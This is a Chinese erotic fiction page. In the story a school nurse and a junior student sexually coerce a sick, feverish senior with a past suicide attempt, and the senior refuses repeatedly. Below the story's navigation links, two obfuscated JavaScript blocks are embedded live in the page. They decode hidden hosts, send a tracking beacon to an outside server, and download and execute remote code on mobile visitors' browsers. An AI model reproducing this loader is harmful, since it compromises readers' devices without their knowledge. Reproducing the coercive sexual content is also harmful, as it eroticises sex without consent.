拿了耳温枪,两人来到病床旁,对上了意外的视线,已经醒来的病娃娃睁着一双水蓝大眼滴熘熘的回望床边的人,想开口说话却好像说不出话,那模样就像想说话的娃娃人偶却在张嘴时发现自己是没有的声音…虽然海丝蒂猜出她只是口渴加上喉咙有浓痰而已,不过那模样实在可爱,只是再可爱总要让人说话吧?

“雪伦,去倒杯温水过来,顺便把灯给打开。”海丝蒂边说边坐到床边的椅子,既然病人醒了,那就可以问问题了,她又大声补充道,“帮我把桌上的病历表也拿过来。”

雪伦转身跑开,灯先亮起,没一会儿就握着装八分满温水的杯子跑回来,另一手拿着夹在厚夹板的一迭空历表,这时海丝蒂已经在看耳温枪,银白的细眉皱起。

“又烧起来了,38点5度。”海丝蒂说,这种天气下感冒总是会不稳定,不过透过初步问诊,就能决定用什么药了,但要先让病人喝水,同时她接过了病历表。

见到杯子,敏娜拉开毯子,手撑着身体想坐起,却只稍微起了身就又软倒在床上,再试一次却也没好多少,失落的表情全写在脸上。

“学姐,让我帮你吧,你先撑起来一下。”知道该是帮忙一下的时候,雪伦坐到床边,准备协助。

以单手持杯,另一手探到撑起身子的敏娜背后,以自己的力气协助敏娜直起身再靠到床头,这动作似乎就让敏娜很吃力了。雪伦拿杯靠近敏娜的唇,让她浅尝试喝,这是一个安全动作。

感觉到温水滑过胶着成一块的喉咙,像是化出了一点空隙,受浓痰阻碍的声音终于得以透出,再多喝几口,敏娜咳了两声,有些污浊的喉音,但敏娜知道,那已足够说话了。

“谢…谢谢。”敏娜向雪伦道谢。

“不会。”雪伦笑着退到一旁,就站在海丝蒂的身旁,开始扮演她的“保健室小助手”的身份。

“嗯…敏娜.佛罗伦斯同学,知道我是谁吗?”拿起夹在厚板上的笔,海丝蒂翘起修长的右腿壂着厚板。

雪伦偷瞄着那不带一丝赘肉的美妙曲线,偷偷的吞下渴望的口水。

“你是保健室的护士小姐。”虽然烧的很难过,但是敏娜的头脑还算清楚,记得这位美艳盛名传遍全学院的年轻护士,有多少的同学为之疯狂,似乎连老师们也有人对海丝蒂感兴趣。

转头看向雪伦,敏娜就不认得这位是谁了。从探询的眼神,雪伦机灵的对敏娜自我介绍。

“学姐你好,我是雪伦.威斯特,是海丝蒂老师的小助手,今天会留下来照顾学姐。”一口气说完一长串的台词,雪伦轻轻的松了口气,她刚才一直在复习的台词总算完美的表现出来了。

“学姐…你是低年级的吗?”敏娜身在中年级的三年级,能叫她学姐的也只有一、二年级的“学妹”了。

“嗯,我是文科二年级喔。”雪伦很高兴的回答,这一刻,她有一种身为小助手的优越感。

“雪伦同学会在今晚协助我,有什么需要可以找她帮忙。”接话的海丝蒂,让她的“小助手”显的言正名顺,“好了,让我问几个问题吧。”

敏娜轻“嗯”了一声回应,雪伦静静站在病床旁实习,对于海丝蒂的问题还有补充的讲解,她努力的去记得,虽然她不知道这以后能不能派上用场,但是基于一种心态…对于海丝蒂那股说不出来的感觉,她觉得自己要更扮演的更衬职才行。

经过了约十分多钟,海丝蒂将笔放在病历表上,代表询问结束了,雪伦再把杯子凑到敏娜嘴边,让专心回答的少女能润润喉。

“雪伦,你在这陪敏娜,我去忙一下。”说完,海丝蒂拿着病历表离开环绕病床的帘幕。

雪伦目送海丝蒂,然后看向敏娜,她端详着这位为学校争光无数的学姐,那一头蓝发就像海水一样的美丽,蓝眼好像蓝天的清澄,深邃笔直的五官是与自己相彷的北国血统,而现在雪伦注意到,在敏娜的颈子上有一条澹澹的疤痕,正好划过了动脉…那就好像是…用刀割出来的,难道学姐曾经做过什么冲动的事?

“学姐…”雪伦坐到旁边,握紧的手正克制着想去抚摸那道疤痕的冲动,还是先问问吧。

“嗯?”敏娜看向雪伦,神情相当平静,却也难掩因病而憔粹虚弱的神色,尤其是北国人的雪肌更是苍白的可怕。

“可以冒昧请问一个问题吗?”雪伦此刻的心情,她觉得好像当初要向海丝蒂自白自己淫乱本质的时候,既紧张又不害羞。

“什么问题?”敏娜好奇的看着戴眼镜的学妹,心中疑问并猜想着对方的问题是什么,但是她的直觉还是先了一步…尤其是察觉那灼热的视线正落在颈子那写下不堪过往的痕迹时…

“你的脖子…啊……我…我只是好奇…没……学姐不回答也…也没关系,真的…”在发问的瞬间察觉了敏娜的神色变化,雪伦不禁紧张的结巴了起来,因为她吓到了…

那是孤单、冰冷而受伤的眼神,透过那对天蓝的眼眸,传递过来的讯息令雪伦一时难以承受,学姐冰凋雪琢的美貌似乎冷的不让任何人接近…是什么,让敏娜摆出了如此冷酷的防卫姿态,只是稍微提及而已就如此的强烈?

“学姐…对不起,我好像…好像问了不该问的问题。”雪伦发现那层冰没有融化,而敏娜只是静静的低下了头,合上的手掌抓紧了床单,紧紧的抓着…

面对这幕,海丝蒂静静站在一旁看着,听到雪伦慌乱的声音而前来察看,却意外的发现了敏娜的异状,海丝蒂望着那冰冷的防卫,心中浮现一股熟悉感…充满了不堪与厌恶的熟悉。

“啊,老师…我…我…”发现海丝蒂,讨救兵的雪伦连忙寻求帮助,她实在不知道自己做了什么。

海丝蒂勾起右手食与中指轻轻顺着垂落胸前的发络,想不到那条疤痕是如此的棘手,该怎么让冰雪娃娃卸下心防,是个很大的挑战…虽然都是受过伤的人,但是她受的伤又是什么呢?

“佛罗伦斯同学。”坐到先前的椅子上,海丝蒂开始艰难的挑战,她把手放到敏娜的手上,却得到了一个很明显且激烈的拒绝反应。

敏娜身子一扭就甩海丝蒂的手,这让海丝蒂心中更觉不妙,情况比她想像的还棘手,如果敏娜拒绝沟通,那就没得谈了…雪伦已经快哭出来了,不小心踩到别人中心的痛处,海丝蒂只好先把雪伦带到一旁安抚。

“老师…我是不是说了不该说的话?”依偎在海丝蒂的胸口,眼镜娃娃一对大眼泪珠滚啊滚啊的,只差没哇的一声哭出来了。

“没事的…乖喔,这让老师来想办法。”拍拍眼镜娃娃的头,海丝蒂好想给她咬一口,雪伦这样子实在太可爱了。

放着雪伦,海丝蒂回到病床,正好看到敏娜用袖子在擦眼镜,发觉有人靠近立刻反射性的转头,防卫的双眼看到的是双手抱胸的海丝蒂,谁也没说话,两人无言的对峙着。

敏娜抬头看向日光灯,迷濛的蓝眼透露着海丝蒂曾有过的情绪,一般人只会认为那是拒绝与自舔伤口的孤单,但是海丝蒂读的出更深层的讯息…海丝蒂迈步走到床边,坐下,然后,伸出双手抱住敏娜的双肩…

“啊…别…别靠近我!”敏娜又是激烈的扭动身体想逃避,但是环抱的手更加的坚定。

“以前在念书的时候,我曾经堕落过…”像是呢喃的低语,海丝蒂轻声的诉说,就在敏娜的耳边:“一群学姐把我当玩具玩弄,我变成了她们的小母狗…”

敏娜的动作变的稍微轻缓…她有在听。

“她们每天要我做好多羞耻的事…最后她们毕业了,丢下了我…”海丝蒂的神色上泛起一阵苦楚,竟然又要再提一次,对着别人:“丢下深陷欲望的我。”

挣扎的动作停止了,只剩下颤抖的身躯,敏娜双手掩面,颤抖化为了无数晶萤的泪珠。

“希望你能接受,不要拒绝期望帮助你的手,我想我也懂,那种绝望…我深陷过,所以我不希望你继续陷下去…”

低喃轻语如安眠曲钻入了少女的心灵深处,同理者心态在此发挥了效果,但也许是渴望救赎的心更为强烈吧?

“我…我…”敏娜激动的说不出话,只好诉诸原始的情绪。

这次站在帘幕旁的,是雪伦,她茫然的看着两人,不懂敏娜学姐为何哭泣,也不知道海丝蒂使用的方法,但是她松了一口气,感觉…那层冰已经熔解了。

不管是什么,都化为了泪水,减弱的哭声在救赎双手的怀抱中逐渐得到了平静,海丝蒂依然轻声呢喃,并悄悄的做了协议,还算冷静下来的敏娜同意了:不要让雪伦知道海丝蒂的过往。

还不是让雪伦知道的时候,对海丝蒂而言。

温水八分满的杯子握在手中,敏娜还是不愿谈起过往的事,但是她只透露了那道疤痕,是她在医院当着家人、医生与护士的面划下去的,强烈求死的心终究不够强烈吧?刀虽然划的不够深,但是也差点要了少女的小命,还好急救得宜不然就再也没有敏娜.佛罗伦斯这个人了。

“其实,有时候在想…那一刀应该再划深一点的。”敏娜澹澹的笑了,这句话说的随意却听的雪伦一身冷颤。

“学姐,不可以这么想…”握住敏娜的双手,雪伦凝望着敏娜,猫眼石的美丽双眼里透露着海丝蒂好像见过又好像陌生的情绪…

“我…曾经暗恋过学姐…”雪伦看了眼海丝蒂,又继续说道,“刚入学的时候,我去看过学姐的游泳比赛,觉得学姐好美好帅气,只是…”

“呃?”面对突如其来的告白,敏娜觉得自己好像承受不了太多剧烈的情绪起伏了。

“学姐好像冰,拒绝任何人的冰山,我觉得你连教练都不肯让她接近,所以我只敢远远的看。”雪伦看向敏娜,更加紧握住手中那双冰冷的手。

“好像是…”敏娜苦笑,冰山美人这称唿跟了她好久,就是这个原因所致。

“看起来这里没我这电灯泡的事啦,你们慢慢聊吧,我去用点宵夜。”海丝蒂摸了摸肚子,正打算离去时,却被雪伦拉住了手,她回望,带着疑问。

“没关系,我想说的说完了,因为,人家现在…”雪伦站起身靠近海丝蒂,“知道学姐身旁有人了。”

“那你拉住我干嘛?”海丝蒂摇了摇被握住的手,看向雪伦,迎来的视线炽热而渴望,那不就是…然后雪伦又看向敏娜。

“只是人家想拜托学姐一件事。”雪伦握住海丝蒂的力道加重了,“只要一次就好,不管学姐拒绝或接受都没关系。”

“什么事?”这是今天第几次反问学妹了?敏娜自问。

“让我拥有学姐一次。”雪伦坚定如石的说出要求。

海丝蒂觉得眼前一阵昏眩,这笨女孩是在想什么?想吓死敏娜吗?还是她想要想昏了?

敏娜有点儿张口结舌,她没想到雪伦竟然这么直接而大胆的完全不顾他人感受。

雪伦立刻就后悔了,但是她又期待着…可是又想放弃,可是又不想放弃…矛盾的心正在交战着。

“你说,拥有的意思是……?”为了确认自己没会错意,敏娜不得不确认一次,以免造成表错情的情况。

“就是这个意思。”突然,毫无征兆的,雪伦抱住了敏娜,对着那苍白的脸颊烙下了一吻,深刻而热情的吻。

敏娜双眼圆睁直愣愣的瞪着雪伦,难以想像这个学妹的脑袋里在想什么,她伸手摸了摸被吻的位置想确认真假,但突然,她被压倒了,视线里是一张俏生生的脸庞,接着是她的嘴唇被强吻,而这虚弱的身体推不开也逃不掉这个狼吻,所有的抗议全只剩下浑浊的喉音。

“呜…”感觉气力都被抽空,敏娜的双手只是像征性的放在雪伦的双肩,想推也推不动。

嘴唇被吸吮,而一股晕眩感正在漫延,敏娜知道…全是因为这个吻,这个热烈而技巧高明的吻,似乎也在说明着正压着自己的学妹并不如外表来的单纯…敏娜闭上了眼,她知道自己难以抗拒这个吻…也逃不掉。

海丝蒂抓了抓头,她早就离开病床了,就在雪伦送上第一个吻时,虽然她也想吃了敏娜,但是想不到雪伦的动作更快…看来现在还是先观望好了,海丝蒂想…可以捡现成的吃吗?

良久…对敏娜来说可能是,每一秒都好像被放大放慢,当雪伦红羞着脸离开自己的唇时,敏娜以为已经过了好几十分钟之多,事实上才也才几十秒而已。

“学…学妹…”看着对方红艳的小嘴唇,敏娜的脸很难得的现出了血色…澹澹的红晕,被吻的头昏脑胀的敏娜呐呐的抗议着,“我…我还没答应耶…”

“可是学姐看起来很享受,不是吗?”边说边爬到敏娜身上以四肢撑床的雪伦,已经摆明不让敏娜逃了。

“我…因为你…好会吻…”曾几何时自己就不在害羞了,但是敏娜惊觉自己对这个半强迫的行为感到害羞,是为什么?

“那再来吻一次。”再次压倒柔弱的躯体,再次覆上那片薄薄的香唇,雪伦这次更试图让舌头侵入,她想要更多。

“不…唔…”想到自己还在发烧,敏娜就怕……怕传染感冒给这个披着羊皮的小狼,坚决的不松开牙关防御,纠扯着雪伦的衣服想挣扎,点滴袋被扯的直摇晃,也努力的想踢着腿,但是重病的身体实在很酸痛,没两下她就放弃了,只是把自己搞的更累。

受不了深吻的敏娜,喘气的嘴终于松开了防御,探入的舌头熟练的纠缠起不愿的另一片舌头,雪伦改为抱住敏娜并让双乳压住敏娜的,同时被挑动敏感的双乳,敏娜难耐的扭着身子想逃开。

也许应该强硬一些好突破这困窘的局面?敏娜正这么想时,却发现雪伦已经自动自发的解开上衣的扣子,本来就被先解开两枚扣子了,现在剩下三枚迅速失守,敏娜体认到对方不得手不罢休的决心,无奈这身子实在太虚弱了。

这叫任人宰割吗?就像当时一样?不过………

“学姐…你好美…”喘着气的雪伦视线巡梭在半裸的病娃娃身上,那健美结实的小腹,两球起伏的丰满为衣服所掩盖,但仍可见到其外形之姣好,雪伦的脑袋中乱轰轰一片,学姐的身体终于…她感觉到的是高昂的兴奋。

“雪伦…我…我想我们还是…啊呀。”不给自己把话说完的机会,敏娜就被狼爪袭胸,对上雪伦的双眼,敏娜知道自己是落入狼口的小棉羊了,对了…还有希望…“护士小姐,救救我啊。”

“没用的,因为…老师只会跟我一起把你吃了。”扑在小羊身上的恶狼无情的宣判了猎物的死刑,然后就大口含住敏娜挺立的乳球,开始享用到手的猎物。

“呜…”敏娜不禁想泣诉自己的命运之悲惨,她真的是有引狼的特质吗?虽然少了以前的厌恶,但是,也不可能乖乖被吃吧……虽然,这样子实在好不到那去。

虽然感到悲哀,但是身体还是很老实的,就算感冒让身体感到疲累,但是来自敏感部位的挑逗仍然无法逃避,尤其是面对擅于在女体身上取乐的雪伦,敏娜更是一开始就没有胜算。

“学姐的乳房…好美,好挺而且好敏感。”雪伦两手各掌握一边并不住的揉捏,连乳头也不放过,并欣赏着敏娜反应,忍耐、颤抖,敏感的身体似乎难以抵抗。

“不…不行…”敏娜被压的难以动弹,那已经刻意去被遗忘的感觉正在被唤醒…“我不要…又变成那样…”

但是学妹的动作越来越大胆,而且也不只是专注于双乳上,她那魔性的舌头正在攻略小腹,被舔舐的痕痒感与口水沾粘的感觉都在刺激着敏娜的感官神经,身体正逐渐火热,但是敏娜是越加害怕…一股暗影似乎正在缓缓的吞噬着她…

“学姐…连肚脐也好可爱。”雪伦的舌头终于来到了像征诞生的肚挤,那小小的凹陷布满了皱折,敏娜将肚脐洗的很干净,就像初生的婴儿一样,“这里…是很敏感的喔?”

“不…”敏娜摇着头,雪伦的攻势已经让昏沉的意识更加迷离了,如果再被攻击敏感部位的话…“饶了我吧…唔噢…”

舌头稍微下力的舔过平原的小凹,立刻就看到敏娜微微挺起了腰,发出了令雪伦满意的吐息,但是还不够,还要学姐品尝更多的快乐,如此想的雪伦已将狼爪伸向了少女的下身。

“不…”敏娜突然坐起身一不知道她从那生出的力气—伸手按住正要脱下裤子的雪伦的手,这让雪伦吓了一跳,敏娜羞红着脸哀求道,“拜托…就这样打住吧,我可以不计较。”

“学姐…”雪伦感觉到心被敏娜那娇柔哀伤模样的重重的槌了一击,她停下动作自问,现在该怎么做?

雪伦并不想住手,但是看情形继续下去只会,她想这也只会让敏娜痛苦,不过其实敏娜好像也不是真的反感…雪伦卷着头发想着,不一会儿,心坏不轨的眼镜娃娃微笑了。

“那么,我们来打赌,只要学姐赢了,我就住手。”雪伦的心,正在窃笑…严然是个小恶魔。

“什么打赌?”敏娜的脸上现出一丝光芒…希望的光芒。

“只要学姐在五分钟内忍住我的挑逗,不能高潮喔,那学姐就赢了。”雪伦伸出食指,用很认真的语气说。“如果学姐输了…那我会连老师也找来,让学姐爽到失神喔。”

“五分钟吗…?”敏娜有些退缩了,她不知道这五分钟是不是可以忍住,而且…“如果我忍住了,你会守信吧?”

“当然。”雪伦笑着回答,但她想的可是…五分钟后你就准备哭着高潮吧…“那么,我们要开始了吗?”

“嗯…嗯。”点了点头,敏娜绷紧神经准备对抗雪伦的挑逗,却不知自己第一步就朝陷阱走去。

雪伦抱住了敏娜,一对乳房压住了敏娜的乳房,随着身体的动作上下地搓揉着,勃起的乳头互相交缠,这样的刺激已经化为电流窜逃在绷紧的神经中,只是如此,就让敏娜不得不咬住嘴唇抵抗了。

‘好像…不太妙…’敏娜才一开始就发觉自己好像被骗了…但是现在也只能忍住了。

雪伦不住碎吻敏娜的脸,手在敏娜的的背上来回抚摸,现在才开始,她不急着立刻展开攻势,先让学姐焦燥一点吧。

在雪伦诱惑敏娜的同时,海丝蒂也多少听到了帘幕里的对话,尤其是那段赌注声明说的特别大声,这让一直假装自己在忙的海丝蒂很兴奋,她很相信雪伦的技术的。

此刻,赌注开始的第二分钟,雪伦还是让敏娜坐着,自己含住了敏娜兴奋挺起的乳头,另一球被稍嫌粗暴的抓捏着,雪伦很满意敏娜的感度,她真的很禁不起挑逗。

“唔…呜…”敏娜几乎要哭了,为什么快感不断的在累积,身体很老实的回应雪伦每一下的挑逗、爱抚,唔啊…只是被舔了一下乳头,敏娜就抖了一下。

她知道,别说五分钟了,可能四分钟都撑不住…这个已经被彻底唤醒的身体正带着她回到三年前的恶梦,而这恶魔正是自己的学妹,一个同样身为女性却对自己伸出色狼之爪的少女。

“学姐,三分钟啰。”气息唿在敏娜的耳洞里,雪伦发现起先敏娜会躲,但是现在她已经任由雪伦对她咬耳朵了。

“嗯…呃啊…”摇头,接着仰头,双手紧扯着床单的敏娜知道自己快到达极限了,下体的分泌一定已经让内裤湿透了,看来…已经是该投降的时候了。

“四分钟了,撑住的话…学姐就赢了喔?”说是这么说,雪伦已经决定给予致命一击了。

敏娜的表情已经在恍忽了,那是被快感冲昏头的神情,因为雪伦一直用手撑着才勉强坐着,雪伦看准了机会,对着乳头一咬…

“啊啊啊啊啊啊!”像征失败与胜利的高潮淫叫自敏娜的嘴中吐出,敏娜的脚不住踢床,最后软倒在雪伦的怀中不住喘着气。

“嘿嘿…”雪伦把敏娜放在床上,然后对着帘幕外大喊,“老师,我知道你等很久了,进来吧。”

“学…妹…呜……”敏娜几乎要哭了,她知道,再继续的话,她就无法回头了,心中的阴影将会彻底的吞噬她,直到自己回到三年前的那时候。

时钟咖搭咖搭的转动指针,才指向一的位子的时针,像在对敏娜说着,夜,还很长。

(二、下)敏娜的感冒特效药

**********************************************************************

写到快吐血了囧

**********************************************************************

海丝蒂在雪伦的唿唤中加入了这场淫戏,在敏娜的注视下,她如脱衣舞娘般一件一件的脱下衣物,没有穿胸罩与内裤的她,只要剥下外衣就一丝不挂。敏娜海蓝的双眼张的老大,她还反应不过来,为什么情况变成这样?

海丝蒂爬上床,赤身裸体的贴近敏娜,她终于可以好好品尝敏娜的身体了,想让她高潮,想让她快乐,最后让她失神,这让海丝蒂好兴奋。

蓝头发的病娃娃只是愣愣的盯着淫乱护士完美而肉欲的肉体,脑中只剩下一个念头,全校最美艳的护士就要跟她做爱了,可是这么做好吗?敏娜有些慌张的想退缩,但是雪伦与海丝蒂包围住她了,被困在床头的敏娜已没有退路。

“老师,我们要怎么做呢?”雪伦向海丝蒂靠了过去,摩蹭着性感护士的身子,四肢着地的她就像只小猫咪。

“这要问敏娜吧?”海丝蒂笑着说,就像是两头玩弄猎物的大野狼,逼猎物选择自己的死法一样。

“那,学姐,你的希望呢?”雪伦看向敏娜,微笑的模样令敏娜发寒。

“我…我…”敏娜思考自己的处境,被两只恶狼困住了,上身赤裸,而且才刚在人面前高潮一次,还有那个根本是骗人的打赌,所有的一切对自己都不利,她还能怎样?

海丝蒂看着敏娜,敏娜回看着她,美丽的蓝眼里透着恐惧与哀求,看来这小妮子还不死心的样子?不过送到嘴边的肥肉岂有放掉的道理?看来只好用实际行动让这敏娜老实点了…

“说不出来没关系,就用身体来回答吧。”说完,海丝蒂扑向柔弱的小羊。敏娜惊唿一声就与海丝蒂亲蜜接触了。

“老师…唔…”敏娜想再抗议,但是海丝蒂已经用那性感的厚唇牢牢的封住她的嘴巴,这招一向好用。

海丝蒂展开了强势的攻击,几乎不给敏娜喘息的机会,霸道的占有敏娜的小嘴,连空气也夺取了,敏娜感觉快要窒息了。

在海丝蒂强吻敏娜的同时,雪伦也不会闲着,两只手探进了海丝蒂与敏娜之间,一手玩一人的乳房,海丝蒂的柔软硕大的一手不能掌握;敏娜虽然尺吋不如海丝蒂,但弹性而紧实手感极佳,光是把玩就让雪伦感到乐趣十足。

“啊…”终于分开的唇与唇间牵出一条银丝,海丝蒂的吻比雪伦还强烈,敏娜喘着气,急欲补充缺乏的空气,但是两只恶狼的攻势还没完。

海丝蒂与雪伦交换了一个眼神,就已经知道对方的想法,雪伦继续专注于敏娜的双乳,海丝蒂趁着敏娜还在迷濛之际,快速的解开并脱下敏娜的裤子,毫不意外的发现那几乎湿透的小内裤,但海丝蒂也注意到,敏娜选的并不是小而性感的类型,而是能遮住耻丘的大尺吋,这对爱美的少女来说满奇怪的。

“不…不要脱…”敏娜着急的想阻止最后防线的失守,那是她不想给别人看到的…过去。

“已经这么湿了,穿起来不会不舒服吗?”海丝蒂以手指来回在敏娜的秘缝摩擦,湿透的朴实蓝色内裤被压进了肉唇间,更多的蜜汁泌出,足以显示敏娜兴奋的程度。海丝蒂心想,这孩子还在嘴硬?

“不行…我不想要给你们看…喔…”敏娜还想再坚持,但是…

身体被雪伦压住了,那不断传来的快感正在侵蚀她的理智与灵魂。

“真的不想给人看吗?那就不看好了,可是你如果想要了……那就别来求我喔。”海丝蒂边说边用食指隔着内裤,向敏娜的体内戳进一指节,立刻换来敏娜毫无掩饰的一声悲鸣。

“怎么都欺负我啦……呜啊……”敏娜感到一股强烈的电击勐烈的袭向全身四肢,那是被捏住且被内裤布料摩擦的阴核,同时雪伦正用自己的乳房压住自己的,四颗乳头缠弄也是敏感的让她难以忍耐,很快就只能不住的喘息、呻吟。

在挑逗敏娜的过程,雪伦也不会毫无感觉,她将身上剩下的衣服全脱掉丢到床下,屁股摇啊摇的向海丝蒂传递着渴求的讯息,手还不忘抠着自己的肉穴,那淫荡又饥渴的模样惹的海丝蒂咯咯笑,于是用空出的另一手满足雪伦,同时,敏娜也拱起了腰身,


上一篇:老婆的性感开发之旅(06上)

下一篇:老夫少妻(年轻的貌美人妻-阿珍)(41)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};